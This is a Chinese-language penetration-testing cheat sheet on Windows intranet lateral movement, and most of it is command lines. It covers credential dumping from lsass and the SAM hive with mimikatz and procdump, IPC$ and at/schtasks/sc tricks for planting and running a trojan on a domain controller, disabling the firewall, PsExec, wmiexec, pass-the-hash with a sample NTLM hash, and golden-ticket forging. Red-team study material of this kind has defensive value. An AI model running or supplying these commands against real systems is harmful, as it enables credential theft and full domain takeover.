在内网渗透过程中,当得到内网中某一台机器权限后,如果需要进一步的扩大攻击范围,那么这时候就需要进行横向移动,以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据.
Windows的系统密码hash一般由两部分组成:LM-Hash和NTLM-Hash hash格式为username:RID:LM-Hash:NTLM-Hash
下载地址:https://github.com/gentilkiwi/mimikatz Mimikatz
可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
导出SAM表,通过mimikatz来提取
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
lsadump::sam /sam:SAM /system:SYSTEM
Procdump
是微软官方发布的一款调试工具,可通过Procdump
转储内存文件到本地再通过mimikatz
来抓取文件中hash
,可躲避杀软查杀 使用Procdump
将lsass.exe
转储成dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass
使用mimikatz
从转储的lsass.dmp中读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1 Get-PassHashes.ps1
是nishang
中的一个脚本,可用于导出hash
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
IPC(Internet Process Connection)共享命名管道的资源,是为了时间进程间通信而开放的命名管道,通过提供用户名密码建立一条安全的、加密的、用于数据交换的通道.通过这个连接,可以在目标机器上执行命令,文件上传/下载等.在同一时间内,两个ip之间允许建立一个连接. 利用条件
通过net
来建立连接
域成员---win7:192.168.10.3
域控---2008:192.168.10.1
net use \\[DC-IP]\ipc$ ["password"] /user:[username]
net use \\192.168.10.1\ipc$ "Admin@123" /user:administrator
net use
查看连接
通过建立的IPC连接,可便于win7访问2008的文件,进行上传、下载等操作。
IPC连接还可进行本地映射,将DC的C盘映射到本地Z盘
net use z: \\[IP]\c$ [password] /user:[username]
net use z: \\192.168.10.1\c$ "Admin@123" /user:administrator
删除IPC连接
net use \\[IP] /del /y
net use \\192.168.10.1 /del /y
dir
用于显示目录的文件和子目录的列表。
dir \\192.168.10.1\c$ //列出DC上C盘的文件
tasklist
显示本地或远程机器上当前运行的进程列表。
tasklit /S 192.168.10.1 /U administrator /P Admin@123 //列出DC上运行的进程
copy
复制一份或多份文件
copy C:\test.txt \\192.168.10.1\c$ //将test.txt文件复制到DC的C盘目录下(可复制木马等)
type
显示文本文件的内容
type \\192.168.10.1\c$\test.txt //读取目标机器上的文件
at
用于显示或创建计划任务 可通过at
命令设置计划任务执行命令,将结果写入文件中,然后通过type
读取文件 时间可通过net time
来获取
at \\192.160.10.1 15:17:30 cmd.exe /c "ipconfig > c:\test"
也可设置定时任务来执行木马文件 通过copy
等方法将木马文件上传至目标机器
copy c:\artifact.exe \\192.168.10.1\c$
通过at
来设置计划任务即可
at \\192.168.10.1 15:20:30 c:\artifact.exe
删除计划任务
at \\[IP] [ID] /delete //在新建计划任务时会提示ID是多少或直接执行at可看计划任务ID
at \\192.168.10.1 1 /delete
自Windows Vista、Windows Server 2008之后版本已经将at
命令废弃了,可使用schtasks
命令代替,schtasks
比at
更灵活、自由. 常用参数:
在目标机器上创建一个名为test
的计划任务,该计划任务在开机时启动,启动程序为C盘下的artifact.exe,启动权限为system
schtasks /create /s 192.168.10.1 /tn test /sc onstart /tr c:\artifact.exe /ru system /u administrator /p "Admin@123" /f
查看名为test的任务
schtasks /query /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"
删除计划任务
schtasks /delete /s 192.168.10.1 /u administrator /p "Admin@123" /tn "test"
在使用schtasks
命令时,会在系统中留下日志C:\windows\tasks\schedlgu.txt
sc
是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc
进行横向流程:
sc \\[IP] create [ServiceNname] binpath= "[path]"
sc \\192.168.10.1 create test binpath= "c:\artifact.exe"
sc \\192.168.10.1 start test
删除创建的服务
sc \\[IP] delete [ServerName]
sc \\192.168.10.1 delete test
通过设置服务来关闭防火墙
sc \\192.168.10.1 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.19.1 start unablefirewall
PsExec
是一种轻量级telnet-replacement,可用于在其他系统上执行进程,为控制台应用提供完全交互性,而无需手动安全客户端软件。PsExec
需要目标机器开启admin$
共享(默认是开启的),如果目标机器开启防火墙,那么PsExec
将无法使用. PsExec
基本原理:
在建立ipc$
的情况加可直接进行连接
PsExec.exe -accepteula \\192.168.10.1 -s cmd.exe
-accepteula:第一次运行psexec时会弹窗,使用该参数不会弹框
-s:以system权限运行,不使用此参数测试administrator权限
没有建立ipc$
连接可通过-u,-p
两个参数来指定用户名密码
PsExec.exe \\192.168.10.1 -u administrator -i -p Admin@123 cmd.exe
Metasploit中也有psexec模块
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)
下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.pysmbexec smbexec是一款基于pexec的与渗透测试工具,并配套samba工具,可以通过文件共享(admin,,c,ipc,,d)在远程系统中执行命令
smbexec.py [username]:[password]@[IP]
WMI
(Windows Management Instrumentation,135端口)是Windows自带功能,WMI
以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器,而且整个运行过程都在计算机内存中发生,具有极高的隐蔽性。
使用wmic
远程执行命令,需要在目标机器开启WMI服务(需要开放135端口,wmic会以管理员权限在远程系统中执行命令)
查看目标机器进程信息
wmic /node:[IP] /user:[username] /password:[password] process list brief
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process list brief
使用cmd执行命令(没有回显需要通过ipc$和type来进行读取)
wmic /node:192.168.10.1 /user:administrator /password:Admin@123 process call create "cmd.exe /c whoami > whoami.txt"
wmiexec
是对windows自带的wmic做了一些改进,可通过用户名密码或者配合哈希传递等一起使用
该脚本是impacket工具包中的一个工具. 下载地址:https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
python wmiexec.py [username]:[password]@IP
python wmiexec.py -hashes [LM Hash]:[NT Hash] [username]@[IP]
通过vbs脚本来调用WMI来模拟PsExec功能.
cscript.exe //nologo wmiexec.vbs /shell [IP] [username] [password]
Invoke-WMIMethod
是powershell自带的模块
#目标系统用户名
$User = "DC-2008\administrator"
#目标系统密码
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
#账号密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.1" -Credential $Cred
当使用PTH
的时候当目标机器存在KB2871997
补丁后,PTH
配合Mimikatz
只能连接域用户,不能连接其他组的用户。PTK
需要目标机器存在KB2871997
补丁才可以连接域用户,也可以连接组,采用ase256
连接,PTH
与PTK
都是基于NTML
认证,而PTT
是基于kerbros
协议。
PTH
在内网中是一种经典的攻击方式,可直接通过LM Hash
(已弃用)和NTLM Hash
访问远程主机或服务。在打补丁后,常规的PTH
已无法成功,唯独SID为500的用户除外,利用这个用户仍可以通过PTH
来远程ipc连接 如果禁用了NTLM
认证,PsExec
无法利用获得的NTLM Hash
进行远程连接,可通过Mimikatz
来进行连接
在得到NTLM Hash
后通过Mimikatz
进行hash传递
sekurlsa::pth /user:[username] /domain:[domain] /ntlm:[NTLM Hash]
sekurlsa::pth /user:administrator /domain:dc.2008.com /ntlm:70be8675cd511daa9be4b8f49e829327 //连接域用户
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:70be8675cd511daa9be4b8f49e829327 连接本地用户
PTK
需要一个前提条件,目标主机必须打KB2871997
补丁,因此用的很少
sekurlsa::ekeys //获得aes256值
sekurlsa::pth /user:administrator /domain:dc.2008.com /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT
是基于kerberos
协议进行攻击,最常见的攻击方式:黄金票据、白银票据
mimikatz.exe "kerberos::golden /user:[用户名] /domain:[域名] /sid:[域SID] /krbtgt:[krbtgt NTLM Hash] /ticket:Administrator.kiribi"
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /target:[目标主机名] /service:<服务类型> /rc4:[KRBTGT NTLM Hash] /user:[任意用户名] /ptt"
https://www.freebuf.com/articles/network/251364.html https://xz.aliyun.com/t/9744#toc-3 https://www.freebuf.com/articles/system/229200.html http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/#toc-heading-5 https://www.cnblogs.com/bmjoker/p/10355979.html